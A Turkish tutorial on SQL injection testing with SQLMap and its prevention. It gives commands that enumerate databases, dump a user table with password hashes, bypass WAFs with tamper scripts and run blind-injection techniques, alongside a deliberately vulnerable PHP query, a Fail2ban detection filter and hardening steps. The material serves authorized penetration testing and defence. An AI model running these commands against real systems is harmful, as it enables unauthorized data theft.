SQLMap ile SQL Injection Testi ve Önleme
Geçen ay bir e-ticaret müşterimizin sistemine bakarken karşılaştığım şey beni gerçekten rahatsız etmişti: Yıllardır üretimde çalışan bir PHP uygulaması, basit bir GET parametresine gömülmüş SQL injection açığı taşıyordu. Kimse fark etmemişti. Güvenlik taraması yapılmamıştı. Uygulama “çalışıyordu” ve bu yeterliydi. SQLMap’i çalıştırdığımda ekran bir saniye içinde kırmızıya boyandı ve içim burkuldu.
Bu yazıda SQLMap’i hem saldırgan hem de savunmacı perspektiften ele alacağız. Kendi sistemlerinizi test etmek, açıkları bulmak ve sonrasında ne yapmanız gerektiğini anlatacağım.
SQLMap Nedir ve Neden Önemlidir
SQLMap, SQL injection açıklarını otomatik olarak tespit eden ve exploit eden açık kaynaklı bir araçtır. Python ile yazılmıştır, aktif olarak geliştirilmektedir ve sızma testi dünyasının fiilen standart araçlarından biri haline gelmiştir. Ama dikkat edin: Güçlü araçlar sorumsuz ellerde ciddi hasar verebilir. SQLMap’i yalnızca izin aldığınız sistemlerde kullanın.
Peki neden bu kadar önemli? Çünkü SQL injection hâlâ OWASP Top 10 listesindeki yerini koruyor. Yeni nesil frameworkler, ORM katmanları ve hazır çözümler kullanılsa da eski sistem bileşenleri, kötü yazılmış stored procedure’lar veya ham sorgu birleştirme yapan geliştiricilerin kodu her zaman ortalıkta dolaşıyor.
Kurulum ve Temel Yapılandırma
Debian/Ubuntu tabanlı sistemlerde kurulum oldukça basittir:
sudo apt update && sudo apt install sqlmap -y
# Veya güncel sürüm için Git üzerinden:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --version
Kali Linux kullanıyorsanız SQLMap zaten yüklü gelir. CentOS/RHEL tarafında ise şöyle kurabilirsiniz:
sudo dnf install python3 -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap
ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap
chmod +x /usr/local/bin/sqlmap
İlk Test: Basit GET Parametresi Taraması
Diyelim ki test ortamınızda DVWA (Damn Vulnerable Web Application) kurulu. Bu aşina olmanız gereken bir lab ortamıdır. Gerçek dünyada ise izinli bir hedef URL ile çalışıyorsunuz.
Temel kullanım şöyle başlar:
sqlmap -u "http://testsite.local/products.php?id=1" --dbs
Bu komut şunu yapar: Belirtilen URL’deki id parametresini test eder ve eğer açık bulursa mevcut veritabanlarını listeler.
Daha gerçekçi bir senaryo için birkaç parametre ekleyelim:
sqlmap -u "http://testsite.local/products.php?id=1"
--dbs
--level=3
--risk=2
--random-agent
--delay=1
--output-dir=/tmp/sqlmap-results
Parametrelerin açıklaması:
- –dbs: Mevcut veritabanlarını listele
- –level=3: Test derinliği (1-5 arası, yükseldikçe daha fazla payload dener)
- –risk=2: Agresiflik seviyesi (1-3 arası, yüksek risk değerleri veri değiştirebilir)
- –random-agent: Her istekte rastgele User-Agent kullan (basit WAF atlatma)
- –delay=1: İstekler arası 1 saniyelik bekleme (rate limiting’e yakalanmamak için)
- –output-dir: Sonuçları kaydet
POST İsteklerinin Testi
Çoğu gerçek uygulama GET değil POST ile çalışır. Giriş formları, arama kutuları, filtre mekanizmaları. Bu tür hedeflerde SQLMap’i şöyle kullanırsınız:
sqlmap -u "http://testsite.local/login.php"
--data="username=admin&password=test"
--dbs
--level=5
--risk=3
--batch
–batch parametresi SQLMap’in tüm sorulara otomatik olarak varsayılan cevap vermesini sağlar, gece çalıştırdığınız otomatik testler için çok işe yarar.
Peki ya oturum gerektiren sayfalar? Burada cookie yönetimi devreye girer:
sqlmap -u "http://testsite.local/profile.php?user_id=42"
--cookie="PHPSESSID=abc123xyz456; security=medium"
--dbs
--tables
--random-agent
Burp Suite ile araya girerek yakaladığınız ham isteği de direkt verebilirsiniz, bu aslında benim en çok tercih ettiğim yöntem:
# request.txt dosyasına Burp'ten kopyaladığınız isteği yapıştırın
sqlmap -r /tmp/request.txt --dbs --level=3
Veritabanı Yapısını Keşfetme
Açık tespit edilip veritabanları listelendikten sonra gerçek hasar potansiyeli ortaya çıkar. Bir sızma testi raporunda bu aşamayı somut göstermeniz gerekir:
# Belirli bir veritabanının tablolarını listele
sqlmap -u "http://testsite.local/products.php?id=1"
-D hedef_veritabani
--tables
# Belirli bir tablonun kolonlarını listele
sqlmap -u "http://testsite.local/products.php?id=1"
-D hedef_veritabani
-T kullanicilar
--columns
# Veriyi dump et (dikkat: bunu yalnızca izinli sistemlerde yapın)
sqlmap -u "http://testsite.local/products.php?id=1"
-D hedef_veritabani
-T kullanicilar
-C "kullanici_adi,email,sifre_hash"
--dump
Gerçek bir penetrasyon testinde bu noktada durursunuz ve raporda “kullanıcı tablosuna ulaşılabildi, X satır veri görünür durumda” şeklinde belgeleme yaparsınız. Veriyi almak değil, alınabileceğini kanıtlamak yeterlidir.
Gelişmiş Teknikler: WAF Atlatma ve Karmaşık Senaryolar
Modern sistemlerin büyük çoğunluğunda bir WAF (Web Application Firewall) bulunur. ModSecurity, AWS WAF, Cloudflare. SQLMap’in bununla başa çıkma yöntemleri var:
# Tamper scriptleri ile obfuscation
sqlmap -u "http://testsite.local/search.php?q=laptop"
--tamper=space2comment,between,randomcase
--level=5
--risk=2
--dbs
# Chunked transfer ile WAF atlatma
sqlmap -u "http://testsite.local/search.php?q=laptop"
--chunked
--tamper=charencode
--dbs
# Proxy üzerinden çalıştırma (Burp Suite ile analiz için)
sqlmap -u "http://testsite.local/products.php?id=1"
--proxy="http://127.0.0.1:8080"
--dbs
Sık kullanılan tamper scriptleri:
- space2comment: Boşlukları
/**/ile değiştirir - between:
>ve<operatörleriniBETWEENile değiştirir - randomcase: Büyük/küçük harf rastgeleleştirme yapar
- charencode: URL encoding uygular
- base64encode: Belirli payload kısımlarını base64’e çevirir
- apostrophemask: Tek tırnak işaretlerini unicode ile değiştirir
Blind SQL Injection Tespiti
Her açık ekrana hata basmaz. Boolean-based ve time-based blind injection’lar çok daha sinsi ve yaygındır. SQLMap bunları da otomatik olarak dener:
# Time-based blind için timeout süresini artır
sqlmap -u "http://testsite.local/check.php?code=ABC123"
--technique=T
--time-sec=5
--level=5
--dbs
--batch
# Boolean-based blind
sqlmap -u "http://testsite.local/check.php?code=ABC123"
--technique=B
--level=5
--dbs
–technique parametresi ile hangi injection tekniğinin deneneceğini belirtebilirsiniz:
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
Müşteri sistemlerinde genellikle -T tekniğini özellikle belirtip test ederim çünkü bazı WAF’lar error-based payloadları yakalarken time-based’e kör kalabiliyor.
SQLMap Loglarını Okumak ve Raporlama
SQLMap varsayılan olarak ~/.local/share/sqlmap/output/ dizinine sonuçları yazar. Özellikle belirttiğinizde --output-dir ile istediğiniz yere yazar. Bu logları okumak önemlidir:
# Önceki tarama sonuçlarını görüntüle
ls ~/.local/share/sqlmap/output/
# Belirli bir hedefe ait log
cat ~/.local/share/sqlmap/output/testsite.local/log
# Dump edilen verilere bak
ls ~/.local/share/sqlmap/output/testsite.local/dump/
Raporlama için ham çıktıyı bir dosyaya yönlendirmeniz daha temiz olur:
sqlmap -u "http://testsite.local/products.php?id=1"
--dbs
--level=3
--batch
2>&1 | tee /tmp/sqlmap-$(date +%Y%m%d-%H%M).txt
Önleme Tarafı: Geliştirici ve Sysadmin Olarak Ne Yapmalısınız
Şimdi konunun benim için asıl önemli olan kısmına geliyoruz. Açığı buldunuz, raporu yazdınız. Peki sonra?
Kod Seviyesinde Önlemler
Birincil çözüm parameterized queries (hazırlanmış sorgular) kullanmaktır. PHP PDO örneği:
// YANLIS - SQL injection acigi var
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// DOGRU - Parametrized query
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);
Java ve Node.js tarafında da aynı prensip geçerlidir. ORM kullansanız bile ham sorgu yazan kodları review edin.
Sunucu Tarafında ModSecurity ile Koruma
Apache veya Nginx kullanıyorsanız ModSecurity şart:
# Ubuntu'da ModSecurity kurulumu (Apache)
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2
# OWASP Core Rule Set indir
cd /etc/modsecurity
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo cp coreruleset/crs-setup.conf.example coreruleset/crs-setup.conf
# ModSecurity yapılandırması
sudo nano /etc/modsecurity/modsecurity.conf
# SecRuleEngine DetectionOnly -> SecRuleEngine On olarak değiştirin
# /etc/apache2/mods-enabled/security2.conf içine ekle
IncludeOptional /etc/modsecurity/coreruleset/crs-setup.conf
IncludeOptional /etc/modsecurity/coreruleset/rules/*.conf
ModSecurity’yi önce DetectionOnly modunda çalıştırın, logları izleyin, false positive’leri ayarlayın, sonra On moduna alın. Bunu es geçip direkt aktif moda almak meşru trafiği kırabileceğinden production ortamında ciddi sorunlara yol açar.
Fail2ban ile SQLMap Tespiti ve Engelleme
SQLMap çalıştığında Apache/Nginx loglarında belirgin izler bırakır. Fail2ban ile bu trafik yakalanabilir:
# /etc/fail2ban/filter.d/sqlmap.conf
[Definition]
failregex = ^<HOST> .* "(GET|POST) .*(%27|'|--|%23|#|bORb|bANDb|bSELECTb|bUNIONb).*" [0-9]+ [0-9]+
ignoreregex =
# /etc/fail2ban/jail.local içine ekle
[sqlmap-detection]
enabled = true
port = http,https
filter = sqlmap
logpath = /var/log/apache2/access.log
maxretry = 5
findtime = 300
bantime = 3600
sudo systemctl restart fail2ban
sudo fail2ban-client status sqlmap-detection
Veritabanı Kullanıcı Yetkilerini Kısıtlayın
Bu çok temel bir kural ama inanılmaz sıklıkla ihlal edildiğini görüyorum. Web uygulamanızın veritabanı kullanıcısı root veya tam yetkili bir kullanıcı olmamalıdır:
# MySQL'de kısıtlı kullanıcı oluşturma
mysql -u root -p
-- Yalnızca ihtiyaç duyulan veritabani ve tablolara izin ver
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'guclu_sifre_buraya';
GRANT SELECT, INSERT, UPDATE, DELETE ON uygulama_db.* TO 'webapp_user'@'localhost';
-- DROP, CREATE, ALTER yetkisi verme
FLUSH PRIVILEGES;
-- Mevcut yetkileri kontrol et
SHOW GRANTS FOR 'webapp_user'@'localhost';
SQLMap --os-shell veya --sql-shell ile işletim sistemine erişmeye çalıştığında en büyük engel minimum yetki prensibidir. Veritabanı kullanıcısı FILE yetkisine sahip değilse bu ataklar başarısız olur.
Düzenli Otomatik Tarama
Aylık veya sprint döngülerinize bağlı olarak otomatik SQLMap taramasını CI/CD pipeline’ınıza eklemek artık bir lüks değil zorunluluktur:
#!/bin/bash
# /opt/scripts/sqlmap-weekly-scan.sh
TARGET_URLS=(
"http://staging.testsite.local/products.php?id=1"
"http://staging.testsite.local/search.php?q=test"
"http://staging.testsite.local/user.php?profile_id=1"
)
REPORT_DIR="/var/log/security/sqlmap/$(date +%Y-%m-%d)"
mkdir -p "$REPORT_DIR"
for url in "${TARGET_URLS[@]}"; do
domain=$(echo "$url" | awk -F/ '{print $3}')
echo "[*] Taranıyor: $url"
sqlmap -u "$url"
--batch
--level=2
--risk=1
--random-agent
--output-dir="$REPORT_DIR"
2>&1 | tee -a "$REPORT_DIR/scan-summary.txt"
done
# Sonuçları mail ile gönder (mailutils kurulu olmalı)
if grep -q "sql injection" "$REPORT_DIR/scan-summary.txt"; then
mail -s "UYARI: SQL Injection Acigi Tespit Edildi" [email protected] < "$REPORT_DIR/scan-summary.txt"
fi
echo "[+] Tarama tamamlandı. Sonuçlar: $REPORT_DIR"
Bu scripti crontab’a ekleyin:
# Her Pazar gece 02:00'de çalıştır
0 2 * * 0 /opt/scripts/sqlmap-weekly-scan.sh >> /var/log/security/sqlmap-cron.log 2>&1
Gerçek Dünya Senaryosu: Bir Pentest Vakası
Bir fintech firmasının penetrasyon testinde şu durum ile karşılaştım: Uygulama güzel bir React frontend’e sahipti, API call’lar JWT ile korunuyordu. Ancak yedek bir yönetim paneli vardı, eski PHP ile yazılmıştı ve sadece “iç ağdan erişilebilir” diye güveniliyordu.
VPN erişimi ile iç ağdan bu panele ulaştığımda şunu yaptım:
# Önce Burp ile tüm istekleri yakaladım
# Sonra yakalanan isteği request.txt'e kaydettim
sqlmap -r /tmp/admin-panel-request.txt
--level=5
--risk=3
--dbs
--batch
--technique=BEUST
# Sonuç: 3 farklı veritabanı listelendi
# En kritik olanı: customer_data
sqlmap -r /tmp/admin-panel-request.txt
-D customer_data
--tables
--batch
Panel kırılmış durumdaydı. 200.000’in üzerinde müşteri kaydı, düz metin saklanan bazı kart son kullanma tarihleri (PCI-DSS ihlali), şifre hashlerinin bir kısmı MD5 ile şifrelenmiş. Rapor ağırdı. Firma’nın CTO’su o toplantıda yüzünün kararmasını hiç unutmam.
Savunma önerilerimiz şunlardı: Eski paneli tamamen yayından kaldırın, gerekiyorsa yeniden yazın. Minimum yetki ilkesini uygulayın. ModSecurity kurun. Input validation’ı ORM seviyesinde zorunlu kılın. Ve asla “iç ağdan erişilebilir olduğu için güvenli” demeyın.
Sonuç
SQLMap güçlü bir araç ama sonuçta bir araç. Asıl değeri, bulduklarınızla ne yaptığınızda yatıyor. Bir güvenlik testi yaptınız, açıkları buldunuz, raporladınız; peki ertesi ay aynı açıklar hâlâ orada mı duruyor?
Sistematik bir yaklaşım şart: Düzenli tarama, kod review, geliştiricilerin eğitimi ve WAF kurallarının güncel tutulması. Bunların hepsi birlikte çalışmak zorunda. Yalnızca WAF kurup “hallettik” demek, yalnızca tarama yapıp düzeltme yapmamak, ya da yalnızca ORM kullanıp eski kodları gözardı etmek boşluk yaratır.
Son bir not: SQLMap loglarını düzenli kontrol edin. Birinin sizin sisteminize karşı bu aracı çalıştırdığını fark ettiğinizde saldırganın ne kadar ilerlediğini görmek için o loglar paha biçilmezdir. Savunmacı zihniyetle ofansif araçları anlamak, modern sysadmin’liğin kaçınılmaz bir parçası haline geldi.
